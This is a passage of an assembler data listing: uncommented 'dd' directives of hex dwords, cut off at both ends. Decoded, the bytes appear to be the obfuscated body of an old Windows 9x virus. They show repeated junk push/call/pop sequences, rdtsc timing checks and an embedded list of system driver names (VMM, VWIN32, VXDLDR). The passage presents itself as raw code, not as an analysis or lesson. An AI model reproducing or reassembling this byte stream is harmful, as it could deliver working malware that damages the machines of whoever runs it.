6E994h, 0EDE30000h, 7854EECEh, 2999BD83h dd 0F00064Eh, 5E84h, 8160F800h, 324706D7h, 858D6176h, 64E39D8h dd 0FE9F560h, 20000000h, 0B5FAA5A8h, 898F6C6Ah, 0C79601C4h dd 0FF61B8BDh, 51006AE0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 18AF816Dh, 12E9h, 72664100h dd 8C57034Ch, 536DB199h, 28890B01h, 8BEEFDF2h, 4E215D85h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0FB2EA594h, 39FD0AB9h, 0F042444h, 4B85h dd 7DBD0900h, 0C7064E2Fh, 517D1285h, 106h, 6890F00h, 1000000h dd 4E26D5B5h, 0FE96006h, 24000000h, 0FF791EFAh, 4A8C983h dd 17730F2Dh, 14E9D814h, 0C2000000h, 208D53Ch, 3087F21Ah dd 9690F5h, 3A3C5938h, 61038E30h, 57006A60h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 83E3CFD7h dd 22FA2CDh, 0C860F87h, 0F000000h, 682h, 45BD8900h, 0F5064E14h dd 28E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 8D6925EBh, 1943A707h, 4Ch, 1B800h dd 85870000h, 6517EAFh, 0F675C00Bh, 401B5FFh, 858F064Eh dd 6517D0Ah, 0FF6A206Ah, 223195FFh, 0BD83064Eh, 64E05F1h dd 6A087400h, 5995FF00h, 83064E1Ah, 4E12CDBDh, 0D740106h dd 8068h, 0FFFF6A00h, 4E223195h, 0BD316006h, 64E1BA9h dd 218D8B51h, 58064E1Ah, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0C02BFCD7h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 59C35545h, 8BF8F1FAh dd 29282454h, 4E031995h, 0AD858906h, 0E9064E17h, 6, 0ACB600B4h dd 3CBE18A2h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 600FC356h, 0D722B966h dd 24740361h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1D04h, 0C3534300h, 887A1F34h, 0EA88390h, 0B589BD75h dd 64E24B5h, 0EA19D89h, 0AD66064Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0FC35747h, 1B1BB9CAh, 0B589194Dh dd 64E0AC1h, 24244403h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 43C35343h, 84E1AD24h, 0FFBF0F60h, 9D09F561h dd 64E1F05h, 60525090h, 8A0Fh, 0DA8B0000h, 0F310F61h, 68Fh dd 880F00h, 5A000000h, 890F5058h, 14h, 7E95250h, 0B6000000h dd 513C5E6Eh, 310F52BDh, 585A6160h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 66EE305Ah dd 5E99E11h, 0 a1zL@xs db 'Ò1§Ý‹@xé',0Bh,0 align 4 dd 0FAA690E5h, 0A569CD28h, 836EC261h, 517D12BDh, 850F0006h dd 0D0h, 666090F5h, 8A0412BFh, 605061C5h, 13E870B4h, 0E1000000h dd 0D61DCB07h, 9F3F2B13h, 38DF3CECh, 66E2FD9Eh, 615E031Dh dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 696AE19h, 6E91816h, 49000000h, 235CDC1Dh dd 24448B33h, 57006A2Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 8B0F90D6h, 19h, 14E9h, 0E0A6E600h dd 5277BE5Eh, 75664AE0h, 0E36325A5h, 0B3D3F837h, 810F50F0h dd 12h, 52505250h, 585A310Fh, 5250310Fh, 585A310Fh, 0F590585Ah dd 511E858Dh, 0B5890651h, 64E2F75h, 0DE9D0FFh, 2D000000h dd 0BB8DD50Bh, 7CF37889h, 0A2C9F7Fh, 28244403h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C8C35747h, 2CA58D29h dd 2960064Eh, 4E33199Dh, 95896006h, 64E13EDh, 0E59BD23h dd 6161064Eh, 6A18408Bh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0CA4CC355h, 23C7ECF8h dd 0E840Fh, 29600000h, 4E05C59Dh, 4D953106h, 61064E1Bh dd 55006A40h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 2D41628Fh, 12E9E90Ah, 98000000h, 6229D882h dd 0F0CFEECBh, 0EAFA5806h, 25F42B6Ah, 0E85891Ch, 6006517Dh dd 2C7D8D33h, 0AE8064Eh, 0EC000000h, 0C194E482h, 4E216038h dd 0DA8B668Bh, 0EE9615Fh, 0C1000000h, 0AE54A47Bh, 897E316Bh dd 54443865h, 6A580Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 6024EDC3h, 5806B352h, 78708B61h dd 2099BD01h, 0C683064Eh, 57006A1Ch, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0B6579D3Bh dd 601D3FB9h, 0AE8h, 0E2659B00h, 958193BEh, 0FBAFE12h dd 958C3BFh, 4E0B5585h, 6A966106h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 3C56C352h dd 95893669h, 64E30C1h, 24247C81h, 10000000h, 115870Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 29F313C3h, 90F5643Bh, 10E9h, 6E14BD00h, 6862340Ch dd 0DA06027Ch, 0B4118C4h, 60605049h, 310F5250h, 5250585Ah dd 585A310Fh, 52506061h, 585A310Fh, 6A906161h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 6C7CC357h, 24448B99h, 519D2928h, 90064E15h, 52505250h dd 310F5250h, 310F585Ah, 585A6160h, 5250310Fh, 310F5250h dd 310F585Ah, 310F5250h, 585A585Ah, 0E950585Ah, 14h, 0CC5898D3h dd 7CA6533h, 0CF4C7EAAh, 0BC53F20Eh, 0EBCA7127h, 68E0F90h dd 31000000h, 4E10F985h, 1E858D06h, 29065151h, 4E1B59B5h dd 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 587AC356h, 72A17A3Eh, 830FBBCDh dd 17h, 12E9h, 0D573B500h, 0FFFF45A5h, 0DE004CC9h, 8631A36Ch dd 9689DAFDh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 9DC35343h, 10B9D15Eh, 10ED057Bh, 0C860Fh, 870F0000h dd 6, 8C0Fh, 0E8600000h, 9, 0AE6159F7h, 0AAEF74EEh, 830F16h dd 59000000h, 401F59BBh, 74036115h, 11E92424h, 73000000h dd 0D4CFF2D2h, 31936EA5h, 11D53796h, 2EACE293h, 3071B509h dd 0BD8D064Eh, 64E3039h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 51C35242h, 0B589731Bh, 64E25D5h, 0AD9D8960h dd 57064E29h, 2C558D01h, 6159064Eh, 68E0FADh, 31000000h dd 4E272DB5h, 247C8106h, 24h, 43870F10h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 9532C352h, 366F0705h, 5E9F2h, 0F96F0000h, 8918D32Fh dd 4E258DB5h, 52505006h, 0AAB6BF60h, 0F61244Dh, 14E931h dd 0C6AF0000h, 342CD1FBh, 3CFBC3C2h, 5694835Ch, 819D1575h dd 585A0A7Fh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0BF51C356h, 5C70C773h dd 0FB7B077h, 784h, 5E536000h, 61DFB70Fh, 2824448Bh, 1840FFCh dd 0F8000000h, 14870F50h, 0E9000000h, 0Fh, 0F2D273DCh dd 6EA5D4CFh, 37963193h, 899311D5h, 6A2404h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 695236C3h dd 3CD67CFCh, 604FC0E9h, 6830Fh, 870F0000h, 0 dd 1551B589h, 8D61064Eh, 51511E85h, 0B5896006h, 64E2245h dd 0C55ECABAh, 9E96139h, 15000000h, 9A9B9456h, 61081AA0h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0E9919CC3h, 0Eh, 9993F6D8h, 6A3016AEh, 0CB5E3799h dd 440397DAh, 6A2424h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0BA9D04C3h, 60609CE5h, 0A058D31h dd 0AE8064Eh, 0A0000000h, 2D71E0FFh, 7EF273Ah, 81615E79h dd 0CB001FCBh, 89AB6151h, 4E270185h, 0FA8106h, 0F000100h dd 6AC82h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 81A549F9h, 29FCA7B7h, 4E3055B5h dd 0BD8B6006h, 64E2159h, 68F0Fh, 85290000h, 64E1A21h, 15BD8D61h dd 6A064E03h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0B403C351h, 71AE3ADAh, 880FCEB3h dd 1, 81F8ADFCh, 24247Ch, 0F100000h, 0DE87h, 0CE900h, 0D71F0000h dd 0D97FE656h, 20147FCBh, 6090F7C2h, 0E8C78B66h, 10h, 9D2C6832h dd 19ADCCD2h, 0B21E706h, 0DA4C7B69h, 0DE8h, 0AC3D8500h dd 0BA25A273h, 4C30E85Dh, 595B6D79h, 52505061h, 68E0Fh dd 890F0000h, 0 dd 5250310Fh, 310F6160h, 8A0Fh, 585A0000h, 0F990585Ah dd 2824448Bh, 0FACF8160h, 8949E9FCh, 4E0CCD9Dh, 0F506106h dd 0B8Bh, 0BF666000h, 13B91694h, 613FA7EAh, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 2F1CC357h, 259D89DCh, 8D064E16h, 51511E85h dd 95016006h, 64E2C31h, 9E8h, 7B02DB00h, 3031452Fh, 8166237Fh dd 5FA38EF7h, 0FD0FF61h, 68Bh, 0F1852900h, 3064E15h, 0E9242444h dd 9, 5FF9BF17h, 0C6BE9F01h, 5E990C4h, 69000000h, 4E9626C2h dd 0FE950h, 63380000h, 0DC6C1144h, 87C0711Dh, 85B434AEh dd 0DE99071h, 53000000h, 72FA1032h, 0F2C6C4F8h, 7798089Bh dd 51006AABh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0AFA788Ah, 95890BF0h, 64E329Dh, 0B79BD8Dh dd 6A064Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0ADB3D0C3h, 2245B509h, 7C81064Eh, 2824h dd 870F1000h, 0A5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0DAC35141h, 43FBC84Ah, 860F50F5h, 8 dd 0F38B6660h, 61F18B66h, 0E9240489h, 6, 0CB7B6EDDh, 9D295301h dd 64E0DB1h, 2C24448Bh, 6870Fh, 0BD890000h, 64E07A9h, 7E950F9h dd 32000000h, 1DAD6849h, 4898AD8h, 0DE924h, 7B6B0000h dd 17F8BB16h, 49513003h, 8D8900CDh, 51511E85h, 0D5950106h dd 0FF064E1Fh, 0FE860D0h, 0FB000000h, 8693F545h, 0B586B97Fh dd 470ACB2Eh, 0EE806F73h, 0BD8B5AFFh, 64E2241h, 24440361h dd 56006A28h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 39B998DAh, 0A18D293Fh, 0AB064E16h, 5DDBD89h dd 0FF5E064Eh, 517D0E8Dh, 0EBD8306h, 6517Dh, 0C0330A75h dd 8C84B58Dh, 0E6FF0651h, 7C81AD56h, 2824h, 0E771000h dd 24448B50h, 858D502Ch, 651511Eh, 4403D0FFh, 8B972824h dd 0A858ADFh, 8406517Dh, 3A0474C0h, 574C7507h, 75AEC032h dd 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h dd 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h dd 0FE5449F3h, 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h dd 6610C0C1h, 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 4E17AD85h dd 0FF5DE906h, 605EFFFFh, 5B5F5157h, 6116C680h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 58C35242h, 0C637716Ah dd 13E94733h, 2A000000h, 72A08210h, 0BB5D9F36h, 0FC154AB9h dd 17AF4668h, 8BF88C70h, 4E17AD85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 2FA0F5C0h dd 0B060D110h, 61D78B10h, 6AE0D1h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 48CE9FC3h, 7AD3F14Ch dd 0F51FCCE4h, 0A719D89h, 8503064Eh, 64E0B79h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 18C35646h, 0EE9F7142h dd 0BBCF3F5Bh, 952960C3h, 64E0379h, 0E961EA8Ah, 0Dh, 9F935CACh dd 988BFBD0h, 0CCA68A0h, 6AF62BD0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 33B9C355h dd 0C820FA0h, 0F000000h, 68Fh, 8A0F00h, 96000000h, 59D8960h dd 8B064E33h, 4E0EBD95h, 0AD666106h, 30559589h, 0E0C1064Eh dd 50006A02h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 797154ADh, 93B2A6D8h, 3CC8060h, 5E28C081h dd 361583Fh, 4E303985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 96F9CA66h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4BC35242h, 0F972C7Ah dd 184h, 89ADFC00h, 4E1B9995h, 247C8106h, 24h, 0AF870F10h dd 0E9000000h, 7, 0B68718DAh, 9073CAE9h, 9890Fh, 0BB600000h dd 32A6FB59h, 5061F98Ah, 7E9h, 0F25A2500h, 0D5F819C7h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0B4F2D44h, 84BCC2AFh, 8BF8FA73h, 89282444h dd 4E0E218Dh, 66605006h, 8961FE8Bh, 8DF92404h, 51511E85h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 6C46973Eh, 0A5E94ABh, 15ADBD29h, 5760064Eh dd 615F6160h, 8B0FD0FFh, 0Eh, 1D852B60h, 89064E10h, 4E31518Dh dd 44036106h, 6A2424h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 958040C3h, 8810Fh, 0F600000h, 8Dh dd 44896100h, 66601C24h, 0E13AF181h, 0D5E78166h, 85C66156h dd 64E0401h, 0AF85C700h, 6517Eh, 0C7000000h, 517D1285h dd 6, 2FB06000h, 7C27B850h, 615A68D7h, 20458D29h, 6A61064Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FDBC356h, 0C8Ah, 68D0F00h, 0F000000h, 87h dd 8C200h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0C9C35242h, 958992FBh, 64E1F45h, 39858BF5h, 6A064E30h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 2F10C350h, 7A2355C0h, 6E9h, 0EA385B00h, 4A8E0AA0h dd 4D26BF8h, 0E61B531h, 0C203064Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 64C35747h, 0AD1E8600h, 6A960CC3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0ADB4C356h, 15890Fh, 10E90000h, 45000000h dd 7F8693F5h, 2EB586B9h, 73470ACBh, 8115826Fh, 24247Ch dd 0F100000h, 14C87h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0F37AE022h, 0C8E0Fh, 860F0000h dd 6, 890Fh, 840F0000h, 1, 8B6050FCh, 48961F8h, 51006A24h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 39277426h, 7180FCEDh, 6D8509CDh, 8B064E0Bh, 6A282444h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0FB95C351h, 2A0D75DEh, 0FB5C47Dh, 187h, 9E9F500h dd 53000000h, 0A8FA269Eh, 0E1194E1Fh, 5E9h, 77D21600h dd 0E99095D6h, 9, 0C5275044h, 8F96992Bh, 52505013h, 0EE9h dd 13657200h, 34BE9DA0h, 9FF57904h, 0F3A9702h, 0BE931h dd 0E4490000h, 25F7E0D5h, 6C98F7FDh, 90585A95h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4AC35646h, 154D8531h dd 0B531064Eh, 64E2675h, 511E858Dh, 0CE90651h, 39000000h dd 84FF64ADh, 0D3A75714h, 0FFFC0FD0h, 56006AD0h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 891A609h, 0FD44E9F8h, 800FFFFFh, 8, 28E0Fh, 61600000h dd 92A9858Dh, 6A0651h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 755762C3h, 57718A5Ch, 299E4FFAh dd 4E3165B5h, 0E8609006h, 0Fh, 65C956C0h, 0DD44DF78h, 0C8563153h dd 0E9564737h, 11h, 5B59703h, 0A68B4967h, 0B98452F3h, 6EE6578Dh dd 0CE9594Eh, 34000000h, 6B49077Fh, 4A1B426Ah, 6105CBAFh dd 60525050h, 0ED5C67B9h, 8F0F7Ch, 61000000h, 6060310Fh dd 8A0F61h, 61000000h, 6A90585Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C24AC353h dd 0D97DB189h, 0F9BD89F9h, 64064E14h, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 77BD54C3h, 0E6F9448Bh, 0CD9529A8h, 0F064E2Ah, 68Eh dd 0A5858900h, 89064E13h, 4E1721BDh, 24048B06h, 5E860h dd 430000h, 8903496Fh, 4E2A8DBDh, 0BD8B5806h, 64E06D5h dd 39858961h, 60064E14h, 0FF88B66h, 28Fh, 61E28A00h, 258964h dd 0F000000h, 178Bh, 12E900h, 0C3CB0000h, 0ECA1EC12h, 13B9125Eh dd 96DE2AB4h, 143EEAB6h, 90C2858Dh, 6A0651h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0A7D2E6C3h dd 26AE6964h, 3105CC4Ah, 4E0C0985h, 0B9858906h, 89064E0Eh dd 0E9FC0160h, 22Ch, 5E9h, 9CC0A000h, 0DB8B810Eh, 0E8h dd 0ED815D00h, 65190BBh, 12FF9CBCh, 0CDBD8300h, 64E12h dd 858B1874h, 64E2925h, 8B0000C6h, 4E2F5D85h, 0C606h, 0FCD95FFh dd 0FF60064Eh, 517916B5h, 1A858D06h, 50065179h, 7B12858Dh dd 0FF500651h, 4E2F4D95h, 0CC48306h, 8850F61h, 60000000h dd 18CD858Bh, 8961064Eh, 4E21BDBDh, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0D8B560CCh dd 800FF732h, 24h, 10E960h, 98080000h, 74837C77h, 44D550A2h dd 849FA793h, 7E855B4h, 0C6000000h, 0CB4C3A30h, 615F1320h dd 7B12B58Dh, 6A0651h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0C06E80C3h, 0E9FE4F5Ah, 8, 5CF494A9h dd 0AF3B2ADBh, 22ADBD8Dh, 5E9064Eh, 2B000000h, 8358353Ah dd 0F003E80h, 5984h, 81666000h, 0E9EE4FCAh, 5, 0A8BF401Bh dd 6AA4612Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 0AF81C355h, 9F714218h, 18F0Fh dd 0E9F80000h, 14h, 7C29041h, 0E4E90812h, 17DA4B75h, 0E900EDF5h dd 0CD4F7FACh, 0FFFF9FE9h, 0B8F9FFh, 0F000000h, 18Ah, 6AAAF800h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F0DC351h, 68Fh, 5858900h, 0B8064E27h, 7 dd 90D8D89h, 85C7064Eh, 64E2B4Dh, 1, 2FB99D89h, 8D8D064Eh dd 64E4E10h, 6800Fh, 0B5090000h, 64E1191h, 330DB589h, 0E1FF064Eh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 8FC35242h dd 12E9h, 2548ED00h, 5FF0FE28h, 1BFAF7Eh, 41FE5BFFh, 8BA87431h dd 550C245Ch, 0E8h, 0ED815D00h, 65192B3h, 0B8838Bh, 85890000h dd 6517916h, 90B4858Dh, 83890651h, 0B8h, 0C3C0335Dh, 1B8A0Fh dd 0E9600000h, 11h, 6C9B5602h, 982313AEh, 66BF1E88h, 0BED0E10h dd 0DE8B6615h, 0AE961h, 75EF0000h, 8B8131E4h, 0E1205DEh dd 418D8960h, 8D064E05h, 5194E385h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 50B81727h dd 16830Fh, 11E90000h, 6000000h, 3C74251Ch, 629BBC07h dd 0F2415h, 0B52832BBh, 60240489h, 38E0Fh, 8B660000h, 40C881FAh dd 61252F80h, 35FF64h, 89000000h, 4E07A98Dh, 25896406h dd 0 dd 7C858DFCh, 6A065195h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 45CC357h, 0EE903DE1h dd 840F6C86h, 0Fh, 0AE9h, 0E2E1E300h, 6853BEA2h, 892A1807h dd 0BD010160h, 64E24F9h, 40185C6h, 604F064Eh, 4800Fh, 0BB660000h dd 0BFE29Eh, 6122F3E2h, 0E40D4D68h, 14890FDFh, 60000000h dd 9E9h, 0F9990400h, 0D647B7A1h, 0B96620E5h, 8161FBF2h dd 66DD2404h, 6A1EE4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 61C79C3h, 1ACE01CCh, 858B6036h dd 64E3151h, 61CF8B66h, 24C9B5FFh, 6A064Eh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 7F8ACAC3h dd 13E9h, 0C71C4800h, 0F01F0A13h, 48ED0D36h, 0F0FE2825h dd 0BFAF7E5Fh, 21858DF8h, 106517Dh, 4E1111BDh, 0CE906h dd 0EAF0000h, 5B27892h, 544DECBEh, 0D0FFD7D1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 54C35343h, 14E9h dd 0A1336800h, 0B8C973E9h, 7E50C58Ah, 0E6B8359Ah, 5FF120F9h dd 0BCE909h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 8CDB4EC3h, 2A4CEBDDh, 245C8BA6h dd 0E8550Ch, 5D000000h, 94EDED81h, 858B0651h, 64E25D1h dd 24C98589h, 858B064Eh, 64E215Dh, 6818589h, 858B064Eh dd 64E1FB5h, 0AA58589h, 85C6064Eh, 64E0401h, 0AF85C700h dd 6517Eh, 8D000000h, 51957C85h, 0B8838906h, 5D000000h dd 6AC3C033h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0AD6DC357h, 8BA8D650h, 80596457h dd 18419D29h, 0DE9064Eh, 22000000h, 0CF10AD2Dh, 9382B582h dd 77FC6A65h, 26A99501h, 74BC064Eh, 6A0012FFh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 8651C356h, 0F78B6660h, 0DF2F4BBBh, 64F96156h, 58Fh dd 95090000h, 64E0DA9h, 104C483h, 4E0F6995h, 1890F06h dd 0FC000000h, 8E861h, 0DFF80000h, 79A00FC4h, 958BC359h dd 64E096Dh, 0C781F95Fh, 69E3h, 12D28166h, 9C23BE16h, 0F68125E5h dd 25E58679h, 4C209B8h, 2937FF28h, 4E2FB98Dh, 81665B06h dd 8122C9C0h, 0BD0700F3h, 0DCEB8109h, 0F463BE5h, 288h dd 8182B000h, 5B1C51C3h, 89858B0Dh, 89064E04h, 65958B1Fh dd 83064E20h, 0B96602EFh, 4F4F71FCh, 20A18D8Bh, 0EE81064Eh dd 1, 0FFAF850Fh, 8B66FFFFh, 4934EBD1h, 474D5346h, 56202052h dd 2020444Bh, 56202020h, 20204D4Dh, 56202020h, 334E4957h dd 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 733h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 6AC35343h, 0A05456D5h, 6F941A54h, 0E85EB760h dd 0Ch, 0CB144866h, 0A41F1EE8h, 0C346C478h, 59BDC580h dd 0DE961h, 60FE0000h, 0C4ABBCB7h, 0D2DC6B4Bh, 6005A595h dd 7E9h, 4F66300h, 48BC66E3h, 7585C7F9h, 65196h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 7D2AC351h, 7094B5C4h, 13E9h, 0F4A23000h dd 17F9C712h, 9583EB0Ah, 0B968050Ch, 6C55BBE9h, 6AC68Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 1CC41EC3h, 0D4638863h, 60993E69h, 0E9C7B70Fh, 0Ch, 557B222h dd 0A0A5EE41h, 460FBA3Fh, 60606061h, 0C6816661h, 0F61C4C9h dd 680h, 3DDE8100h, 610D4EAEh, 6AD8B70Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0F16AC352h dd 0C69BA0E1h, 0EE9DFh, 0F1FA0000h, 83CF7711h, 63F7FE99h dd 0B94CF075h, 6010E8C1h, 9DF68166h, 2DBA6654h, 66F961FBh dd 6A08C8C1h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 8A09C350h, 11E917FCh, 0BB000000h dd 0DB6DC96Eh, 43C82265h, 280B7AC8h, 0FB2EA594h, 12E9h dd 63DCAA00h, 0F85F9AC8h, 5EDBB0ABh, 0C877E07h, 60E5821Fh dd 674AD681h, 13E9505Ch, 16000000h, 0DBEF8B80h, 0B3B3E47Fh dd 9B002FD0h, 0EE3E6466h, 89616CC4h, 51967985h, 0C166F906h dd 6A08CBh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0D7905CC3h, 0E860FA1h, 0E9000000h, 9, 0D1878980h dd 0F15DED00h, 40FB83F2h, 19850Fh, 810F0000h, 1, 4DBD8DFCh dd 0F8065196h, 182E9h, 0C18B6000h, 8361E68Ah, 850F0DFBh dd 46h, 0FE9h, 31F98900h, 0EE825E1Ch, 0E7294760h, 375BE66Ah dd 9655BD8Dh, 0E9F50651h, 153h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0E1C35141h, 0CD5DD1BAh, 139AC44Ch dd 0FB83F96Fh, 7E850F01h, 0F8000000h, 0A8C0Fh, 0B6600000h dd 850F4Eh, 61000000h, 965DBD8Dh, 6A0651h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 12E939C3h dd 57000000h, 23096656h, 0F34B2C8Eh, 0DEC54061h, 0C7FDB59Fh dd 13E96Ah, 266E0000h, 9F5E638Ah, 2DBFAB35h, 59481168h dd 16A136ECh, 0BDE951h, 12E90000h, 1A000000h, 32FB29B3h dd 0D29D2C68h, 619ADCCh, 690B21E7h, 2AFB837Bh, 64850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0AB71B6C3h, 0E9311A5Bh, 9, 5ECDE712h, 2E71141h dd 0EE90Fh, 0D5000000h, 52ECF534h, 75034A97h, 0F5321690h dd 9665BD8Dh, 0EE90651h, 3C000000h, 0D9F132DAh, 0EADA8485h dd 443A784Ah, 3DE94Eh, 0B3600000h, 0FB83612Dh, 56850F27h dd 0E9000002h, 12h, 1B0C63C0h, 0BFD691ACh, 7D0BBEEh, 356F1C70h dd 0BD8D887Bh, 651966Dh, 0DE9F8h, 827C0000h, 72E90ED4h dd 0AF9CAF85h, 89844C0Dh, 51967DBDh, 12E906h, 0E7F40000h dd 4503DA8Fh, 21B7AB8Dh, 0EA9BC47Bh, 3B4782A1h, 60C88C66h dd 0CE9h, 0CF012F00h, 0CBCD02EDh, 88D31FE3h, 0D7816673h dd 2461DE9Fh, 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 2C0CE625h, 0E92115E1h, 0EC8060F3h dd 0A9BA66CAh, 0C00A6161h, 117850Fh, 8DF80000h, 519CB7B5h dd 858BF906h, 6519D0Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 6BC35646h, 6F160786h, 0DE8A600Fh, 0B6FBBE66h dd 9E95061h, 5B000000h, 6976CC2Dh, 278C05F8h, 0E9241489h dd 0Eh, 982B1E5Ch, 24BB1240h, 973D3EA5h, 870F407Fh, 14h dd 0FE9h, 0C5F36F00h, 